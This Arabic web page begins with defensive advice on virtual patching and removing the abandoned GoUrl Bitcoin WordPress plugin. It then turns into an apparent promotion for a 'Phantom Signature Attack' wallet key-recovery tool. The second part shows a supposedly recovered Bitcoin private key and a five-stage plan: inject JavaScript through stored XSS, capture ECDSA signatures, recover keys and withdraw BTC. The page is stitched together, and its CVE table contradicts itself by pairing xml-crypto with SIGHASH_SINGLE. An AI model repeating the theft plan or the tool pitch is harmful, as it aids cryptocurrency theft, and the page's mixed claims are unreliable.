خصوصية الثغرة:  على عكس جدران حماية تطبيقات الويب (WAFs) ذات الأغراض العامة، التي تعتمد على أنماط كشف واسعة،  تُكتب التصحيحات الافتراضية كقواعد مستهدفة تتطابق مع الحمولات المحددة . إذا كانت إضافة ما تحتوي على ثغرة حقن SQL أو برمجة نصية عبر المواقع، فيمكن للتصحيح الافتراضي  اعتراض وحظر توقيع الطلب الدقيق الذي يستغلها. wp-umbrella+1

تقنية Patchstack:  تستخدم Patchstack  قواعد JSON خاصة بالثغرات يمكن أن تتضمن تعليمات متنوعة. على سبيل المثال، بالنسبة لحقن SQL، والذي يمكن تحقيقه بتضمين حمولة ضارة في معامل POST id، يمكن للتصحيح الافتراضي  استخدام نهج القائمة البيضاء ، حيث يمكن أن يحتوي id على رقم فقط. patchstack+1

النشر الآلي:  عندما تُكتشف ثغرة وتُوثق بمعرف CVE، يقوم باحثو الأمن - أو منصات مثل Patchstack -  بالتحقق من الثغرة وتوثيق كيفية عمل الاستغلال بالضبط . يصبح هذا الأساس لتصحيح افتراضي، يمكن بعد ذلك  نشره تلقائيًا على جميع المواقع المحمية .

مزايا وقيود التصحيح الافتراضي

الفوائد الرئيسية:

  • حماية فورية:  توفر حماية في غضون ساعات من اكتشاف الثغرة، حتى لو لم يتم إصدار إصلاح رسمي بعد. searchenginejournal+1
  • حماية من الثغرات غير المعروفة (Zero-day):  المواقع المحمية بواسطة Patchstack  تكون محمية حتى ضد الثغرات غير المعروفة التي لم تُعلن للعامة بعد.
  • قابلية التوسع:  يمكن لجدران حماية تطبيقات الويب المُدارة نشر التصحيحات عبر شبكة من المواقع في وقت واحد.
  • تخفيف المخاطر:  يقلل المخاطر قبل أن يصدر البائع تصحيحًا أو أثناء اختبار التصحيح وتطبيقه. owasp
  • خالٍ من التعارضات:  فرصة أقل للتعارضات مقارنة بتصحيح الكود يدويًا.
  • سهولة التنفيذ:  على عكس جدران الحماية التي تعتمد على مجموعات قواعد عامة، تعرف Patchstack  بالضبط ما هي الثغرات الموجودة ويمكنها توفير حماية مخصصة لكل موقع. theadminbar

القيود الحرجة بالنسبة لـ CVE-2025-48102:

على الرغم من جميع فوائد التصحيح الافتراضي،  إلا أنه ليس حلاً طويل الأمد لإضافة GoUrL المهجورة . تحذر Patchstack بوضوح من أن تعطيل البرنامج لا يزيل التهديد الأمني  ما لم يتم نشر تصحيح افتراضي . ومع ذلك، فإن الاعتماد فقط على تصحيح افتراضي للحماية المستمرة ضد البرامج المهجورة  هو استراتيجية خطيرة ، لأن: patchstack

  1. قد تُكتشف ثغرات جديدة لم يتم إنشاء تصحيحات افتراضية لها بعد.
  2. التصحيح الافتراضي هو إجراء مؤقت ، وليس حلاً دائماً. sucuri+1
  3. يلزم اشتراك نشط  في خدمة مثل Patchstack للحفاظ على الحماية. wp-umbrella+1

الحل الفعال الوحيد هو إزالة الإضافة بالكامل.

لماذا الإزالة الكاملة ضرورية؟

بالنظر إلى جميع العوامل—  عدم وجود إصلاح رسمي، حالة البرنامج المهجور، عدم كفاية التعطيل، والطبيعة المؤقتة للتصحيح الافتراضي  —يجمع الخبراء على:  الحل الفعال الوحيد لـ CVE-2025-48102 هو الإزالة الكاملة لإضافة GoUrl . wiz plugin . +1

إجماع الخبراء:

  • Patchstack:  “فكر بشكل عاجل في استبدال البرنامج ببديل” patchstack
  • Wiz :  “الإجراء التخفيفي الموصى به هو إزالة الإضافة واستبدالها.” wiz
  • WPBeginner:  “نعم، ليس فقط أنه آمن، بل يُنصح أيضًا بحذف الإضافات غير النشطة التي لا تخطط لاستخدامها مرة أخرى.” wpbeginner
  • Qode Interactive:  “إذا كنت تريد أن يكون موقع ووردبريس الخاص بك آمنًا قدر الإمكان ضد المخترقين، فيجب عليك حذف جميع الإضافات غير المستخدمة وملفاتها.” qodeinteractive

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

عملية خطوة بخطوة للإزالة الآمنة

الخطوة 1: إنشاء نسخة احتياطية كاملة Jetpack+1

قبل إزالة أي إضافة  ، تأكد من إنشاء نسخة احتياطية كاملة  لموقعك، بما في ذلك الملفات وقاعدة البيانات. سيضمن ذلك قدرتك على استعادة موقعك في حالة حدوث مشكلات. الأدوات الموصى بها: liquidweb+1

  • Jetpack VaultPress Backup للنسخ الاحتياطي التلقائي
  • UpdraftPlus للنسخ الاحتياطي الشامل wppluginexperts
  • BlogVault لإدارة النسخ الاحتياطي wppluginexperts

الخطوة 2: تعطيل الإضافة عبر لوحة التحكم kinsta+1 

سجل الدخول إلى لوحة تحكم ووردبريس وانتقل إلى  الإضافات → الإضافات المثبتة . ابحث عن  GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership  وانقر على  “تعطيل.” kinsta+1

الخطوة 3: إزالة الإضافة من ووردبريس wpbeginner+1

بعد التعطيل، انقر على  “حذف”  أسفل اسم الإضافة. سيقوم ووردبريس بحذف ملفات الإضافة من الدليل  /wp-content/plugins/. jetpack+3

الخطوة 4: تنظيف قاعدة البيانات من الجداول المتبقية liquidweb+2

خطوة حاسمة:  تقوم العديد من إضافات ووردبريس بإنشاء جداول خاصة بها في قاعدة البيانات  لا يتم حذفها تلقائيًا  عند إلغاء تثبيت الإضافة. تستمر هذه  “الجداول اليتيمة”  في شغل مساحة وقد تحتوي على بيانات حساسة. youtube​onlinemediamasters+3

طرق تنظيف قاعدة البيانات:

A. استخدام إضافات لتنظيف قاعدة البيانات: nitropack+2

Advanced Database Cleaner  هي إضافة شاملة لتنظيف قاعدة بيانات ووردبريس: wordpress+1

  • تتيح لك النسخة Pro  إزالة الجداول اليتيمة التي خلفتها إضافات ووردبريس+1 التي تمت إزالتها.
  • تحدد الجداول التي لم تعد مستخدمة بواسطة إضافات ووردبريس النشطة.
  • توفر وظيفة معاينة قبل الإزالة nitropack

WP-Optimize  هي أداة تحسين شائعة: jetpack+2

  • يفتح علامة التبويب  الجداول ويسمح لك بحذف جداول jetpack محددة.
  • يميز الجداول بأنها “غير مثبتة” أو “غير نشطة” onlinemediamasters

  • Read more

تنزيل الأداة
معرف CVEالمكوندرجة CVSSالحرجية
CVE-2025-29774xml-crypto / SIGHASH_SINGLE9.3حرجة
CVE-2025-29775xml-crypto تجاوز DigestValue9.3حرجة
CVE-2025-48102GoUrl Bitcoin Payment Gateway (XSS مخزنة)5.9متوسطة
CVE-2025-26541CodeSolz WooCommerce Gateway (XSS منعكسة)6.1متوسطة
نوع SIGHASHالقيمة (سداسي عشري)الوصف
SIGHASH_ALL0x01يتم توقيع جميع مدخلات ومخرجات المعاملة.
SIGHASH_NONE0x02يتم توقيع جميع المدخلات، ولا يتم توقيع المخرجات.
SIGHASH_SINGLE0x03يتم توقيع المخرج الذي له نفس فهرس المدخل فقط.
SIGHASH_ANYONECANPAY0x80معدّل: يشترك فقط في المدخل الحالي
$147,977
المفتاح الخاص المستعاد (HEX)162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60
المفتاح الخاص المستعاد (WIF مضغوط)KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW
المفتاح الخاص المستعاد (عشري)10026140495284003567451866992720396489963405427298392513418967636817767529056
المرحلةالإجراءالثغرة المستغلة
1حقن JavaScript خبيث في بوابة الدفعCVE-2025-48102 (XSS مخزنة)
2اعتراض معاملات ECDSA (r, s) الخاصة بالمعاملاتحقن JavaScript
3تحليل التوقيعات المجمعة لتكرار nonceالتحليل التشفيري
4الاستعادة الرياضية للمفتاح الخاصهجوم التوقيع الوهمي
5سحب غير متحكم به لـ BTCاختراق المحفظة